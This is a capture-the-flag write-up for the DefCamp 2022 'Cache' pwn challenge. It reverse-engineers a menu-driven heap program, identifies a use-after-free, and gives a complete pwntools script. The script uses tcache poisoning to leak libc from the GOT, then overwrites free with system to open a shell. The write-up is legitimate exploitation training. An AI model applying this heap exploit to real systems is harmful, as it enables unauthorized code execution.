DefCamp 2022 - Cache [Pwn]
Introduction
“Cache” is a pwn challenge deployed during the DefCamp CTF in 2022.
First Considerations and Patch of the Binary
The challenge provided both a binary file and the libc to use in order to exploit the challenge. The first thing I did was to patch the binary using pwinit, in order to make the binary use the correct library.
> pwninit --libc ./libc.so.6 --bin ./vuln
While patching the binary, pwninit also found the right loader needed to load the library:
The loader reveals also that the library being used is the libc 2.27 (which is well known for having a lot of vulnerabilities with regard to the heap management).
Once patched, I retrieved some general information regarding the binary to exploit:
It is possible to notice that the binary is an ELF executable, dynamically linked, and not stripped. Nothing out of the ordinary
With regard to the security measures, it is possible to notice that only Partial RELRO and the NX bit was activated.
Reverse Engineering
In order to understand what the executable does I decompiled it by using IDA-Free. In the following I will sum up the code generated by IDA.
int admin_info()
{
return puts("I am an admin");
}int getFlag()
{
return execlp("cat", "cat", "flag.txt", 0LL);
}void main(int argc, const char **argv, const char ** envp)
{
int v3;
void * buf;
void * ptr;
unsigned __int64 v6; v6 = __readfsqword(0x28 u);
buf = 0 LL;
ptr = 0 LL; init(argc, argv, envp); while (1)
{
puts("MENU");
puts("1: Make new admin");
puts("2: Make new user");
puts("3: Print admin info");
puts("4: Edit Student Name");
puts("5: Print Student Name");
puts("6: Delete admin");
puts("7: Delete user");
printf("\nChoice: ");
fflush(stdout); __isoc99_scanf("%d%*c", & v3); switch (v3)
{
case 1:
ptr = malloc(0x10 uLL);
*((_QWORD * ) ptr + 1) = admin_info;
*(_QWORD * ) ptr = getFlag;
break;
case 2:
buf = malloc(0x10 uLL);
printf("What is your name: ");
fflush(stdout);
read(0, buf, 0x10 uLL);
break;
case 3:
( * ((void( ** )(void)) ptr + 1))();
break;
case 4:
printf("What is your name: ");
fflush(stdout);
read(0, buf, 0x10 uLL);
break;
case 5:
if(buf)
printf("Students name is %s\n", (const char * ) buf);
else
puts("New student has not been created yet");
break;
case 6:
free(ptr);
break;
case 7:
free(buf);
break;
default:
puts("bad input");
break;
}
}
}
GetFlag()
The first thing that stands out is the function get_flag(), which prints the content of the file flag.txt. However, I managed to execute it remotely and I discovered that execute it was the wrong way to exploit the challenge:
Therefore the objective will be to get a remote shell.
Functions Implemented
The program initially shows a menu which allows us to do different thing:
- Make a new admin, which means to allocate a chunk of size 0x20 containing two pointers: the second to the function admin_info(), the first to the function getFlag()
- Make a new user, which means to allocate a chunk of size 0x20 containing a name (provided through the input) of at most 0x10 characters
- Print admin info, which means to execute the second function pointed by an admin chunk
- Edit student name, which means to change the content of a user chunk
- Print student name, which means to print the content of a user chunk
- Delete admin, which means to free an admin chunk
- Delete user, which means to free an user chunk
Logic of the Program
The program allows to handle at most two chunk at the same time, in particular:
- the pointer ptr points to a chunk related to an admin
- the pointer buf points to a chunk related to a user
Given these two pointers then it is possible to handle the two chunks by using the functionalities listed above.
Vulnerabilities
By reading the code it is possible to notice that the two portions of code which make the free of the chunks do not set the buf and ptr pointers to NULL after having freed the chunks. This results in the possibility to write and read not allocated chunks (contained inside the t-cache).
Exploitation: General Idea
Given the vulnerabilities listed before, the first thing I though of was t-cache poisoning. In order to perform a t-cache poisoning it is necessary to write on the forward pointer of a chunk contained inside the t-cache. This kind of attack will allow as to force the program to return a fake chunk in any position of the memory.
In order to obtain a remote shell it is necessary to jump into the libc in order to execute the functions system() or execve(). Therefore it is necessary a leak, which can be obtained by making the t-cache return a chunk inside the GOT.
After having obtained such chunk the scenario will be the following one:
Moreover, a chunk in the GOT section allows us to overwrite the address of a function with the address of another function. In particular, it is possible to write the address of the libc function system() inside the GOT entry corresponding to the free() function. By doing this, once the function free() will be called in the main, the libc will exeute the system() function. The argument to pass to the system() function (the string ‘/bin/sh\x00’ can be written inside the GOT as well).
Exploitation: Implementation
The following script implements the idea explained previously:
#!/usr/bin/python3from pwn import *HOST = <host>
PORT = <port>
EXE = './vuln_patched'
LIBC = './libc.so.6'# ------------------------------------------------------------------def make_new_adim():
r.recvuntil(b'Choice: ')
r.sendline(b'1')def make_new_user(payload):
r.recvuntil(b'Choice: ')
r.sendline(b'2')
r.recvuntil(b'What is your name: ')
r.send(payload)def print_admin_info():
r.recvuntil(b'Choice: ')
r.sendline(b'3')def edit_stuendent_name(payload):
r.recvuntil(b'Choice: ')
r.sendline(b'4')
r.recvuntil(b'What is your name: ')
r.send(payload)def print_student_name():
r.recvuntil(b'Choice: ')
r.sendline(b'5')def delete_admin():
r.recvuntil(b'Choice: ')
r.sendline(b'6')def delete_user():
r.recvuntil(b'Choice: ')
r.sendline(b'7')# ------------------------------------------------------------------if args.R:
r = remote(HOST, PORT)
elif (args.D or args.L):
r = process(EXE)
if args.D:
gdb.attach(r, ''' ''')
input('gdb...')
else:
print('Usage: ./<filename>.py <D | L | R>')
exit()# ------------------------------------------------------------------libc = ELF(LIBC)
elf = ELF(EXE)get_flag = 0x40084a
got_free = elf.got['free']
magic_addr = got_free - 0x8payload = b'A'*0x10
make_new_user(payload)delete_user()# Code used to discover the joke inside getFlag()
# make_new_adim()
# payload = p64(get_flag)*2
# edit_stuendent_name(payload)
# print_admin_info()payload = p64(magic_addr)
edit_stuendent_name(payload)payload = b'A'*0x7 + b'B'
make_new_user(payload)
make_new_user(payload)print_student_name()
r.recvuntil(b'AB')
libc_free = u64(r.recv(6).ljust(8, b'\x00'))libc.address = libc_free - libc.symbols['free']
log.info('Libc @ %#x', libc.address)libc_system = libc.symbols['system']
log.info('System @ %#x', libc_system)payload = b'/bin/sh\x00' + p64(libc_system)
edit_stuendent_name(payload)delete_user()r.interactive()
This script returned the real flag successfully:
Pwned!